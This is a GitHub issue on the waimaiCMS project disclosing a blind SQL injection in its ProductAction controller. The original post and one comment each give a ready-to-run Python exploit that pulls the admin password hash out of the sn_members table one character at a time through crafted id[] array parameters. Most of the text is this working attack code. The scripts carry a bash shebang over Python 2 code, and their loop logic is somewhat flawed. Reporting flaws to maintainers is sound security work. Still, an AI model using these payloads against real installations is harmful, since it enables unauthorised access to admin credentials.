New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There is a SQL Injection vulnerability #9

Open
zer0i3 opened this Issue Jan 2, 2019 · 1 comment

Comments

Projects
None yet
1 participant
@zer0i3
Copy link

zer0i3 commented Jan 2, 2019

There is a blind sql injection.

waimaiCMS is based on thinkphp3.1.3, vulnerable code in web/Lib/Action/ProductAction.class.php

    public function index(){
	 $data['fid']=I('id');//店铺分类
          $Food=M('Food');
	  $fooditem=$Food->where($data)->find();
	  $this->assign('fooditem',$fooditem);
	  $this->display();
   }

exp to get admin password here:

#!/usr/bin/bash
#coding:utf-8
import requests
import string

password = ''
string_list = string.ascii_lowercase + string.digits

url = "http://localhost:8000/"
prefix = "product?id[0]=in%20(%27xx%27))%20or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,"
payload = ")=%27"
suffix = "%27%20--%20"

for i in range(32):
    for s in string_list:
        final_url = url + prefix + str(i+1) + payload + password + s + suffix
        res = requests.get(final_url)
        if '<img src=""' not in res.content:
            password += s
            continue
    print password
@zer0i3

This comment has been minimized.

Copy link

zer0i3 commented Jan 3, 2019

If you test it with linux, this will helpful:

#!/usr/bin/bash
#coding:utf-8
import requests
import string

password = ''
string_list = string.ascii_lowercase + string.digits

url = "http://localhost"
prefix = "/index.php?m=product&a=index&id[0]=in%20(%27xx%27))/*&id[1]=*/or%20substr((select%20userpass%20from%20sn_members%20where%20uid=1),1,"
payload = ")=%27"
suffix = "%27%20--%20&id[2]=exp"

for i in range(32):
    for s in string_list:
        final_url = url + prefix + str(i+1) + payload + password + s + suffix
        res = requests.get(final_url)
        if '<img src=""' not in res.content:
            password += s
            continue
    print password
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment